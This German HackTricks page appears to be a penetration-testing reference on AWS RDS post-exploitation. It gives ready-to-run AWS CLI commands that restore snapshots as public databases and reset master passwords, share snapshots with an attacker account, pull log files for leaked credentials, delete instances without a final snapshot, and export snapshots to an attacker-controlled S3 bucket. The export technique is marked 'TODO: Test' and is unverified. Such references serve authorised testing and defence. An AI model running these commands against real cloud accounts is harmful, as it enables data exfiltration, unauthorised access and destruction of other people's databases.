AWS - RDS Post Exploitation

Support HackTricks

RDS

Für weitere Informationen siehe:

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Wenn der Angreifer genügend Berechtigungen hat, könnte er eine DB öffentlich zugänglich machen, indem er einen Snapshot der DB erstellt und dann eine öffentlich zugängliche DB aus dem Snapshot erstellt.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Ein Angreifer mit diesen Berechtigungen könnte ein Snapshot einer DB erstellen und ihn öffentlich verfügbar machen. Dann könnte er einfach in seinem eigenen Konto eine DB aus diesem Snapshot erstellen.

Wenn der Angreifer nicht die rds:CreateDBSnapshot hat, könnte er dennoch andere erstellte Snapshots öffentlich machen.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Ein Angreifer mit der Berechtigung rds:DownloadDBLogFilePortion kann Teile der Protokolldateien einer RDS-Instanz herunterladen. Wenn sensible Daten oder Zugangsdaten versehentlich protokolliert werden, könnte der Angreifer diese Informationen potenziell nutzen, um seine Berechtigungen zu erhöhen oder unbefugte Aktionen durchzuführen.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Potenzielle Auswirkungen: Zugriff auf sensible Informationen oder unbefugte Aktionen mit Hilfe von geleakten Anmeldeinformationen.

rds:DeleteDBInstance

Ein Angreifer mit diesen Berechtigungen kann bestehende RDS-Instanzen DoS.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Potenzielle Auswirkungen: Löschung vorhandener RDS-Instanzen und potenzieller Datenverlust.

rds:StartExportTask

TODO: Test

Ein Angreifer mit dieser Berechtigung kann ein RDS-Instanz-Snapshot in einen S3-Bucket exportieren. Wenn der Angreifer die Kontrolle über den Ziel-S3-Bucket hat, kann er potenziell auf sensible Daten innerhalb des exportierten Snapshots zugreifen.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potenzielle Auswirkungen: Zugriff auf sensible Daten im exportierten Snapshot.

Unterstütze HackTricks

Last updated